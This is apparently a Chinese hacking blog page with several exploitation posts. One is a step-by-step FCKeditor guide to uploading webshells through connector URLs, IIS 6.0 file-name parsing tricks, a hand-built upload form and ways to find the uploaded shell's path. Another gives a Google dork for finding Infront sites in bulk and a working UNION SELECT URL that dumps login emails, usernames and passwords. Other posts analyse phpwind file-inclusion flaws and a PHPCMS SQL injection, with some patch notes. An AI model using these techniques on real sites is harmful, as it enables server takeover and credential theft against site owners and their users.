www.51xiaofeng.com
hack
Fckeditor利用总结
八 25th
Fckeditor版本多..支持很多语言..所以本文不针对任何版本或者什么语言.只讲利用方法
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.Asp
当你知道fckeditor目录时..你输入以上地址..就会看到有个上传的地方..如图所示:
这里有个上传的地方…老版本的fckeditor可以上传.Asa后缀的文件(也就是你的马) 如
果不行的话…我们可以利用iis的路径解析漏洞.建一个hx.Asp的目录.再这目录下上传马
还可以上传“图片”.这里指的图片是.Jpg格式后缀的马(结合iis6.0的解析漏洞
hx.Asp;.Jpg)以上效果如图所示:
因为版本的不同..有些管理员会把一些没用的目录删除..比如我是aspx的站..就会把asp.Php的目录删了..
那么这时候自己就要改..fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
改成这样是一样的..也有时候有的站会把asp破坏掉..而这时假到aspx php都没有做任何
破坏..所以有时修自己多跳下目录..browser.html?Type=Image这里image是表示类型..
如果你打不开fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.Asp里..可以试着打开
fckeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/asp/connector.Asp
..Type类型可以自己改.我没碰到过..
fckeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.Asp
这样的可以跳到根目录…很少碰到…不过也不是不存在这样的站…这里也可以把全站目
录列出来..
那么这样都被破坏了..也都不行了…那要怎么办呢..在connectors目录下有个test.Html
文件..那里也可以上传..可以上传任意文件他都会返回一个地址给你..如图所示:
虽然是
返回不允许上传的类型..但还是会返回地址..那个路径是在下面框里查看源文件得到的…
上传cer有时候也行.hx.Jpg;hx.Jpg 都行…在test.Html页面里有几个地方要注意..
Connector 也就是Connector=connectors/asp/connector.Asp是一个样的哈..有aspx php
等..其实都只是调用..如果asp不行..换aspx php 同上方法…还有一个是本地构造上传
的源码如下:
<form id=”frmUpload” enctype=”multipart/form-data” action=”http://www.xxx.com.cn/fckeditor/editor/filemanager/browser/default/connectors/asp/upload.asp?Type=Media” method=”post”>
Upload a new file:<br>
<input type=”file” name=”NewFile” size=”50″><br>
<input id=”btnUpload” type=”submit” value=”Upload”>
</form>
没了test.Html这里也还可以上传..一样的效果..有些网站的connectors/asp/upload.Asp
所在的目录不一定相同…有的是fckeditor/editor/connectors/asp/upload.Asp这路径..
And so on 补上一个知识…有时候上传的木马名hx.Asp;hx.Jpg hx.Asp这个时候会被过
滤掉前面的.我们可以把.进行url编码下成%2E(成功机率没测试过)
下面就是找路径的方法了…上传上去的马别找不到路径那就完了..在
fckeditor/editor/目录下有个fckeditor.Html文件..我们访问如图所示:那么我们怎么找
上传马的路径呢??我们打开上面一个超链接的按钮..如图所示:
有个浏览服务器..我们打开.如图所示:
找到自己的马点两下你就会发现马的路径已经在你面前了…如图所示:
里面有个图片上传(同理)
那么要是没有这个fckeditor.Html 或者fckeditor.Html打开是“空白页面”呢?
我们还有种方法来列出目录..如图所示:
fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F 这是列出file目录的路径.有的可以列..当然版本不同
有的显示不同..也有的不能列出来..还有种是那个本地构造的上传怎么找马…当你按下
upload按钮时就会跳到一个页面..右键查看源文件就可以知道路径了…再还有网上的一
种用遨游浏览器的方法..比较麻烦…呵呵…还有种方法就是经验的老道了…也可以扫全
站目录来猜你马的目录路径…And so on
好了总结的也差不多了..如果我哪里没有总结到..请大家指出来… Php jsp等那些版本
的漏洞..精简版的国内很少了吧.国外的有蛮多的…这里都不提了…
phpwind 7.5 0day漏洞运用
六 26th
phpwind 7.5 Multiple Include Vulnerabilities
壹.api/class_base.php本地包含漏洞
1.描敘
api/class_base.php文件裏callback函數裏$mode變量沒有過濾導致任意包含本地文件,從而可以執行任意PHP命令.
2. 具體分析
api/class_base.php文件裏:
function callback($mode, $method, $params) {
if (!isset($this->classdb[$mode])) {
if (!file_exists(R_P.’api/class_’ . $mode . ‘.php’)) {
return new ErrorMsg(API_MODE_NOT_EXISTS, “Class($mode) Not Exists”);
}
require_once(R_P.’api/class_’ . $mode . ‘.php’); //這裏
$this->classdb[$mode] = new $mode($this);
}
if (!method_exists($this->classdb[$mode], $method)) {
return new ErrorMsg(API_METHOD_NOT_EXISTS, “Method($method of $mode) Not Exists”);
}
!is_array($params) &&$params = array();
return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
}
我們繼續跟壹下具體變量傳遞的過程. 上面的函數在run()裏有調用:
function run($request) {
$request = $this->strips($request);
if (isset($request['type']) &&$request['type'] == ‘uc’) {
$this->type = ‘uc’;
$this->apikey = $GLOBALS['uc_key'];//註意這個變量也是該漏洞的關鍵
} else {
$this->type = ‘app’;
$this->apikey = $GLOBALS['db_siteownerid'];
$this->siteappkey = $GLOBALS['db_siteappkey'];
}
/***
if ($this->type == ‘app’ &&!$GLOBALS['o_appifopen']) {
return new ErrorMsg(API_CLOSED, ‘App Closed’);
}
***/
ksort($request);
reset($request);
$arg = ”;
foreach ($request as $key => $value) {
if ($value &&$key != ‘sig’) {
$arg .= “$key=$value&”;
}
}
if (md5($arg . $this->apikey) != $request['sig']) { //註意這個判斷,需要繞過它.上面的代碼可以看的出來$this->apikey = $GLOBALS['uc_key'],和$request['sig']我們
//都可以操控,那麽很轻易繞過它
return new ErrorMsg(API_SIGN_ERROR, ‘Error Sign’);
}
$mode = $request['mode']; //取$mode 沒有過濾直接進入下面的callback()
$method = $request['method'];
$params = isset($request['params']) ? unserialize($request['params']) : array();
if (isset($params['appthreads'])) {
if (PHP_VERSION <5.2) {
require_once(R_P.’api/class_json.php’);
$json = new Services_JSON(true);
$params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
} else {
$params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
}
}
if ($params &&isset($request['charset'])) {
$params = pwConvert($params, $this->charset, $request['charset']);
}
return $this->callback($mode, $method, $params); //調用callback ()
}
我們繼續看看run()函數的調用:
在pw_api.php文件裏:
$api = new api_client();
$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的變量.
上面的分析是逆行分析了整個漏洞變量提交的過程,其實我們這個漏洞還包含壹次編碼與解碼的問:require_once(R_P.’api/class_’ . $mode . ‘.php’);這個需要繞過魔術引號才可以
包含轻易文件.我們註意看run()的第壹句
$request = $this->strips($request);
strips()的代碼:
function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = $this->strips($value);
}
} else {
$param = stripslashes($param); //變量直接使用了stripslashes,那麽我們可以直接繞過魔術引號了 ![]()
}
return $param;
}
3.POC/EXP
缺
4.FIX
由於漏洞信息的外泄,官方針對這個漏洞已經做出了修補:
http://www.phpwind.net/read-htm-tid-914851.html
具體代碼:
require_once Pcv(R_P.’api/class_’ . $mode . ‘.php’);
function Pcv($filename,$ifcheck=1){
$tmpname = strtolower($filename);
$tmparray = array(‘ http://’,”\0“); //過濾了http:// \0 意思是不讓遠程 不讓截斷
$ifcheck &&$tmparray[] = ‘..’; //過濾了.. 意思是不讓轉跳目錄
if (str_replace($tmparray,”,$tmpname)!=$tmpname) {
exit(‘Forbidden’);
}
return $filename;
}
從Pcv()可以看出來phpwind的補丁風格是很猥瑣的,單從這個pcv來看 還有很多的邏輯問題,比如http://這個過濾很搞笑,人家就不可以用ftp://? …
二.apps/share/index.php遠程包含漏洞
1.描敘
apps/share/index.php 裏$route和$basePath變量沒有初始化,導致遠程包含或者本地包含php文件,導致執行任意php代碼
2.具體分析
<?php
if ($route == “share”) {
require_once $basePath . ‘/action/m_share.php’;
} elseif ($route == “sharelink”) {
require_once $basePath . ‘/action/m_sharelink.php’;
}
?>
這個漏洞好象不太需要分析!!!! 我建議寫這個代碼的人應該扣除年終獎…
3.POC/EXP
缺
4.FIX
等待官方補丁,假如用不著的朋友直接把這個文件刪除好了.
三.apps/groups/index.php遠程包含漏洞
1.描敘
apps/groups/index.php 裏$route和$basePath變量沒有初始化,導致遠程包含或者本地包含php文件,導致執行任意php代碼
2.具體分析
<?php
if ($route == “groups”) {
require_once $basePath . ‘/action/m_groups.php’;
} elseif ($route == “group”) {
require_once $basePath . ‘/action/m_group.php’;
} elseif ($route == “galbum”) {
require_once $basePath . ‘/action/m_galbum.php’;
}
這個漏洞好象不太需要分析!!!! 我建議寫這個代碼的人應該扣除年終獎…
3.POC/EXP
缺
4.FIX
等待官方補丁,假如用不著的朋友直接把這個文件刪除好了.
最新消息 目前官方已經發布補丁http://www.phpwind.net/read-htm-tid-914851.html
Infront 程序存在SQL注入漏洞
六 26th
Infront 程序存在SQL注入漏洞,可获取管理权限。
批量:google:intext:Powered by Infront
漏洞页面 : breaking_news.php
Exploit Code : http://www.hackzhi.org/变量路径/breaking_news.php?newsid=union select 1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login
后台登入:
http://www.hackzhi.org/变量路径/login.php
演示:http://www.hackzhi.org/breaking_news.php?newsid=-103+UNION+SELECT+1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login–
首发TheMaster
PHPCMS网站管理系统ADSCLASS.PHP页面过滤不严导致SQL注入漏洞
六 25th
添加时间:
2010-05-24
系统编号:
WAVDB-01629
影响版本:
phpcms2008sp4_UTF8_100510
程序介绍:
Phpcms是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。Phpcms 采用模块化方式开发,功能易用便于扩展,可面向大中型站点提供重量级网站建设解决方案。3年来,凭借 Phpcms 团队长期积累的丰富的Web开发及数据库经验和勇于创新追求完美的设计理念,使得 Phpcms 得到了近10万网站的认可,并且越来越多地被应用到大中型商业网站
漏洞分析:
ads\include\ads.class.php
function edit($ads, $adsid, $username = ”) //110行
{
if(!$this->check_form($ads)) return FALSE;
$ads = $this->check_form($ads);
if(defined(‘IN_ADMIN’))
}
$ads['fromdate'] = strtotime($ads['fromdate']);
$ads['todate'] = strtotime($ads['todate']);
{
$this->adsid = $adsid;
$where = ‘ adsid=’.$this->adsid;
if($username) $where .= ” AND username=’$username’”;
return $this->db->update($this->table, $ads, $where);
}
Ads\member.php
if(!$c_ads->edit($info, $adsid, $_username)) showmessage($c_ads->msg(), ‘goback’); //47行
变量$adsid没有经过处理就直接进入SQL查询,造成SQL注入。
漏洞利用:
1、注册普通会员
2、 预定广告并修改adsid值从而进行SQL注入
解决方案:
厂商补丁:
PHPCMS
——-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpcms.cn/
信息来源:
<来源: Bug.Center.Team